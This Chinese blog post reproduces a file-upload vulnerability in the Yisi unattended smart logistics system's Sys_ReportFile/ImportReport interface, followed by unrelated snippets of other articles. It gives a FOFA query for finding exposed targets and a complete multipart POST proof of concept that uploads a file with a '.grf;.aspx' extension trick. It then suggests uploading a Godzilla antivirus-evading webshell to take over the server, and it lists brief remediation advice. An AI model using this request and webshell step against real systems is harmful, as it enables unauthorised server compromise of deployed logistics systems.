易思无人值守智能物流系统Sys_ReportFile文件上传漏洞复现
文章目录
- 易思无人值守智能物流系统Sys_ReportFile文件上传漏洞复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响版本
- 0x04 漏洞环境
- 0x05 漏洞复现
- 1.访问漏洞环境
- 2.构造POC
- 3.复现
- 0x06 修复建议
易思无人值守智能物流系统Sys_ReportFile文件上传漏洞复现
0x01 前言
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！
0x02 漏洞描述
易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。易思无人值守智能物流系统Sys_ReportFile接口处存在文件上传漏洞，攻击者通过漏洞可以发送特定的请求包上传恶意文件，获取服务器权限。
0x03 影响版本
易思无人值守智能物流系统
0x04 漏洞环境
FOFA语法：“智能物流无人值守系统”
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC （POST）
POST /Sys_ReportFile/ImportReport?encode=reportfile HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryxzUhGld6cusN3Alk
Content-Length: 213------WebKitFormBoundaryxzUhGld6cusN3Alk
Content-Disposition: form-data; name="file"; .filename="12345.grf;.aspx"
Content-Type: application/octet-stream12345678
------WebKitFormBoundaryxzUhGld6cusN3Alk--
3.复现
拼接上传的文件路径：http://127.0.0.1/GRF/Custom/reportfile.aspx
可以进一步上传Godzilla免杀马，获取服务器权限。
0x06 修复建议
接口访问权限增加强认证
设置安全组仅对可信地址开放
升级至安全版本
相关文章：
易思无人值守智能物流系统Sys_ReportFile文件上传漏洞复现
文章目录 易思无人值守智能物流系统Sys_ReportFile文件上传漏洞复现0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 易思无人值守智能物流系统Sys_ReportFile文件上传漏洞复现 0x01 前言 免责声明：请…...
java Map List转化，通过Map保存数据，通过List排序。取前三名
java Map List转化，通过Map保存数据，通过List排序。取前三名 package yo;import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map;public class a {public static void …...
LEECODE 1480一维数组的动态和
class Solution { public:vector<int> runningSum(vector<int>& nums) {vector<int> runningSum;int sum 0;int len nums.size();for(int i 0; i < len; i){sum sum nums[i];runningSum.push_back(sum);}return runningSum;} };...
python文档链接
python与并行计算...
HTTP调试代理工具/Proxyman
Proxyman专为开发人员和网络爱好者设计，它允许用户拦截、查看和修改所有传入和传出的网络请求，并提供详细的分析和调试功能。 Proxyman支持HTTP、HTTPS和WebSocket协议，因此，可以轻松捕获和查看这些协议下的网络流量。用户可以使…...
搭建Qt5.7.1+kylinV10开发环境、运行环境
1.下载Qt源码 Index of / 2.编译Qt 解压缩qt-everywhere-opensource-src-5.7.1.tar.gz 进入到qt-everywhere-opensource-src-5.7.1/qtbase/mkspecs这个目录下， 2.1找到以下目录 复制他，然后改名linux-x86-arrch64，博主这里名字取的有些问…...
Ceph：关于Ceph 中创建和管理自定义 CRUSH Map
写在前面 准备考试，整理 Ceph 相关笔记博文内容涉及，管理和定制CRUSH Map以及管理OSD Map理解不足小伙伴帮忙指正 对每个人而言，真正的职责只有一个：找到自我。然后在心中坚守其一生，全心全意，永不停息。所…...
【Linux】开发工具——vim多模式编辑器的入土设置sudoers白名单
个人主页点击直达：小白不是程序媛 Linux系列专栏：Linux被操作记 目录 前言： 基本概念 vim基本操作 [正常模式]切换至[插入模式] [插入模式]切换至[正常模式] [正常模式]切换至[末行模式] 三种模式的切换关系图 vim命令模式命令集 进…...
Linux基础环境开发工具的使用(yum,vim,gcc,g++)
Linux基础环境开发工具的使用[yum,vim,gcc,g] 一.yum1.yum的快速入门1.yum安装软件2.yum卸载软件 2.yum的生态环境1.操作系统的分化2.四个问题1.服务器是谁提供的呢?2.服务器上的软件是谁提供的呢?3.为什么要提供呢?4.yum是如何得知目标服务器的地址和下载链接呢?5.软件源 …...
加速软件开发和交付的革命性方法-DevOps
“ 随着信息技术的快速发展，现代软件开发和交付已经经历了巨大的变革。DevOps（Development和Operations的结合）已经成为这一变革的关键推动力，让开发团队和运维团队之间的界限变得模糊，以加速软件的开发、测试和部署过…...
Ha-NeRF源码解读 train_mask_grid_sample
目录 背景： （1）Ha_NeRF论文解读 （2）Ha_NeRF源码复现 （3）train_mask_grid_sample.py 运行 train_mask_grid_sample.py解读 1 NeRFSystem 模块 2 forward()详解 3 模型训练tranining_st…...
大数据毕业设计选题推荐-系统运行情况监控系统-Hadoop-Spark-Hive
✨作者主页：IT毕设梦工厂✨ 个人简介：曾从事计算机专业培训教学，擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...
SpringBoot----自定义Start（自定义依赖）
一，为什么要定义Start 向阿里云OSS如果我们要引入的话很麻烦，所以我们可以自定义一些组件， 然后我们只需要在pom文件中引入对应的坐标就可以 二，怎么定义（以阿里云OSS为例） 1， 定义两个组件模块…...
通过条件竞争实现内核提权
条件竞争漏洞（Race Condition Vulnerability）是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源（如内存、文件、网络连接等）时，由于…...
vue实现换肤功能
1、使用scss定义几种需要进行换肤的颜色，例如： .font-color-theme{[color-theme"black"] & {color: #000}[color-theme"white"] & {color: #fff} }2、使用以下代码控制变化； let colorType localStorage.getIt…...
嵌入式软件工程师面试题——2025校招社招通用（八）
说明： 面试题来源于网络书籍，公司题目以及博主原创或修改（题目大部分来源于各种公司）；文中很多题目，或许大家直接编译器写完，1分钟就出结果了。但在这里博主希望每一个题目，大家都要…...
背包笔记
01背包 朴素版01背包 cin >> n >> m; f[0][0] 0; for(int i 1; i < n; i ) {for(int j 0; j < m; j ){f[i][j] f[i - 1][j];//第i个物品不选if(j - v[i] > 0){f[i][j] max(f[i][j], f[i - 1][j - v[i]] w[i]);//选第i个物品}} }cout << f[n…...
【Redis 速通】Redis 在 Linux 上的单机服务快速搭建与部署（附完整流程步骤及命令代码）
Redis 单机版安装与部署 Written By: Xinyao Tian 概述 本文档主要描述了 Redis 的生产环境安装及配置方法。 主要步骤 编译及安装 进入 root 用户并上传 Redis 源码安装包 查看 Redis 源码安装包的上传情况: [rootcentos-host redis]# pwd /opt/redis [root centos-ho…...
前端JavaScript
文章目录 一、JavaScript概述JS简介1.ECMAScript和JavaScript的关系2.ECMAScript的历史3.什么是javas？4.JavaScript的作用？ 三者之间的作用JS基础1.注释语法2.引入js的多种方式3.结束符号 变量与常量变量1.JavaScript声明2.var与let的区别常量 基本数据类…...
C语言程序设计（第五版）谭浩强 第三章课后题答案
第三章 1、假如我国国民生产总值的年增长率为7%， 计算10年后我国国民生产总值与现在相比增长多少百分比。计算公式为 ,其中r为年增长率，n为年数，p为与现在相比的倍数。 #include<stdio.h> #include<math.h>int main(){float r,…...
数据管理效率低下？MongoDB Compass 重新定义数据库可视化：从入门到精通的非线性学习路径
数据管理效率低下？MongoDB Compass 重新定义数据库可视化：从入门到精通的非线性学习路径 【免费下载链接】compass The GUI for MongoDB. 项目地址: https://gitcode.com/gh_mirrors/com/compass 当你面对命令行中密密麻麻的 MongoDB 数据时&…...
读取Excel数据（替换your_data.xlsx即可）
多输入vmd-pso-lstm多维时序预测模型（多输入单输出） ，价格仅为程序价格，不包含原理讲解 数据均为Excel数据替换数据就可以运行所有程序都经过验证，保证程序可以运行，具有良好的编程习惯，程序均包…...
华为eNSP防火墙GRE over IPSec保姆级排错指南：从隧道起不来、加密失败到稳定通信
华为eNSP防火墙GRE over IPSec实战排错手册：从零排查到稳定通信 当你在华为eNSP环境中搭建GRE over IPSec隧道时，是否遇到过隧道死活起不来、加密协商失败或者路由莫名其妙的消失？这篇文章将带你走进真实排错现场，用工程师的视角一…...
当单片机玩起音乐魔法
基于单片机的音乐律动播放器音乐盒串口远程控制（LCD1286 1100056-基于单片机的音乐律动播放器音乐盒串口远程控制（LCD12864、六首音乐、PWM调频、音频编码、源代码、仿真、流程图、物料清单、Proteus） 功能描述：基于单片机的音乐律…...
pg_activity快速入门：如何在5分钟内开始监控PostgreSQL服务器
pg_activity快速入门：如何在5分钟内开始监控PostgreSQL服务器 【免费下载链接】pg_activity pg_activity is a top like application for PostgreSQL server activity monitoring. 项目地址: https://gitcode.com/gh_mirrors/pg/pg_activity PostgreSQL数据库…...
c++如何通过文件映射mmap在多进程间实现高性能数据共享【进阶】
mmap 多进程共享必须用 MAP_SHARED，因其确保所有进程映射同一物理页并同步回文件；MAP_PRIVATE 为写时复制，修改不共享。需 O_RDWR 打开、ftruncate 预设大小，并配合适当同步机制。为什么 mmap 在多进程共享中必须用 MAP_SHARED 而…...
一键搞定完整网页截图：Chrome扩展终极解决方案
一键搞定完整网页截图：Chrome扩展终极解决方案 【免费下载链接】full-page-screen-capture-chrome-extension One-click full page screen captures in Google Chrome 项目地址: https://gitcode.com/gh_mirrors/fu/full-page-screen-capture-chrome-extension …...
基于多模态图像融合与深度学习算法的轴承故障诊断模型——GADF+Swin-CNN-GAM与GA...
基于 GADFSwin-CNN-GAM 的高创新轴承故障诊断模型 基于GADFTransformer的轴承故障诊断模型，附说明文件及相关论文，代码一定能跑通，有格拉姆角场GADF，小波变换DWT还有短时傅立叶变换STFT多种转二维图像的方式轴承故障诊断这事儿吧&…...
m3u8视频下载终极指南：轻松获取加密流媒体内容的完整解决方案
m3u8视频下载终极指南：轻松获取加密流媒体内容的完整解决方案 【免费下载链接】m3u8_downloader 项目地址: https://gitcode.com/gh_mirrors/m3/m3u8_downloader 还在为无法保存在线视频而烦恼吗？m3u8_downloader项目为你提供了简单快速的解决方…...
公司 SEO 网站优化服务如何应对搜索引擎算法更新_公司 SEO 网站优化服务如何提高网站的曝光度
公司 SEO 网站优化服务如何应对搜索引擎算法更新 在数字化时代，搜索引擎算法的更新频繁，给公司的SEO网站优化服务带来了不小的挑战。搜索引擎不断优化其算法，以提升用户体验和搜索结果的相关性。这种变化往往会对网站的排名和曝光度产生直接…...